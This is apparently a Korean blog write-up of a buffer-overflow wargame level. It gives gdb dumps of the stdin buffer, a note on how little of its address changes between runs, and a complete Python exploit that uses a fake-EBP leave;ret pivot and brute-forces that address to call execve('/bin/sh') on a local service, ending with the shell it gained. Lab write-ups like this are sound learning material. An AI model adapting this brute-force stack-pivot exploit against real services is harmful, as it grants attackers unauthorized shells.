0x080485e0 <main+80>: mov 0x804985c,%eax 0x080485e5 <main+85>: sub $0x4,%esp 0x080485e8 <main+88>: push %eax 0x080485e9 <main+89>: push $0x400 0x080485ee <main+94>: lea 0xfffffc00(%ebp),%eax 0x080485f4 <main+100>: push %eax 0x080485f5 <main+101>: call 0x80483ec ... (gdb) x/x 0x804985c 0x804985c <stdin@@GLIBC_2.0>: 0x00236740 (gdb) x/10x 0x00236740 0x236740 <_IO_2_1_stdin_>: 0xfbad2098 0xb7fe1000 0xb7fe1000 0xb7fe1000 0x236750 <_IO_2_1_stdin_+16>: 0xb7fe1000 0xb7fe1000 0xb7fe1000 0xb7fe1000 0x236760 <_IO_2_1_stdin_+32>: 0xb7fe2000 0x00000000 (gdb) x/10x 0xb7fe1000 0xb7fe1000: 0x61616161 0x61616161 0x61616161 0x61616161 0xb7fe1010: 0x61616161 0x61616161 0x61616161 0x61616161 0xb7fe1020: 0x61616161 0x61616161 ... (gdb) r < exploit ... (gdb) x/10x 0x804985c 0x804985c <stdin@@GLIBC_2.0>: 0x008cb740 0x00000000 0x00000000 0x00000000 0x804986c: 0x00000000 0x00000000 0x00000000 0x00000000 0x804987c: 0x00000000 0x00000000 (gdb) x/4x 0x008cb740 0x8cb740 <_IO_2_1_stdin_>: 0xfbad2098 0xb7f45000 0xb7f45000 0xb7f45000 ... (gdb) r < exploit ... (gdb) x/4x 0x008cb740 0x8cb740 <_IO_2_1_stdin_>: 0xfbad2098 0xb7ff5000 0xb7ff5000 0xb7ff5000 ... (gdb) r < exploit (gdb) x/4x 0x008cb740 0x8cb740 <_IO_2_1_stdin_>: 0xfbad2098 0xb7fba000 0xb7fba000 0xb7fba000
stdin 버퍼의 주소값이 있는 곳이 0x008cb744 또는, 0x00236744 일 확률이 높다.
버퍼의 주소또한,
0xb7f??000 으로 두자리밖에 안바뀐다, (대충 300번정도 돌리면 한번은 걸린다는소리)
이 특징을 이용해서, fake_ebp를 시도한다.
from struct import * from socket import * import time leave_ret = pack('<I',0x0804858e) fake_ebp = 0xb7ff5000+272 i=0 while True: print i i=i+1 buf = "" buf+="a"*260 buf+=pack('<I',fake_ebp) buf+=leave_ret buf+=pack('<I',0x31337) buf+=pack('<I',fake_ebp) # fake_ebp buf+=pack('<I',0x832abc) # 1 execve("/bin/sh",0) buf+="AAAA" # 2 buf+=pack('<I',0x8bd987) # 3 &"/bin/sh" buf+=pack('<I',fake_ebp+4*5) # 4 buf+=pack('<I',fake_ebp+4*6) # 5 buf+="\x00\x00\x00\x00" # 6 s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',7777)) s.recv(1024) s.send(buf) time.sleep(0.1) try: for j in range(0,10): s.send("my-pass\n") except: s.close() continue try: get = s.recv(1024) print get s.close() break except: print "except" s.close() continue s.close()
하….. 이게 맞았는지 틀렸는지 확실하지 않으니까, 틀렸다는걸 알아채는데 좀 오래걸린다.
그리고, send(“my-pass\n”) 를 두번이상 보내야한다.. 아마 시간차때문인듯 하다.
$ python exploit.py ... except 159 euid = 502 let me ride
(근데, execve 대신 system함수를 사용하면, system함수 내부에서 __i686.get_pc_thunk.bx를 call할때 에러가 난다. 이유는 모르겠다…)
'Computer Security > WarGame' 카테고리의 다른 글
[exploit-exercises] Fusion level 00 (3) | 2013.05.31 |
---|---|
[exploit-exercises] ssh setting (0) | 2013.05.31 |
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |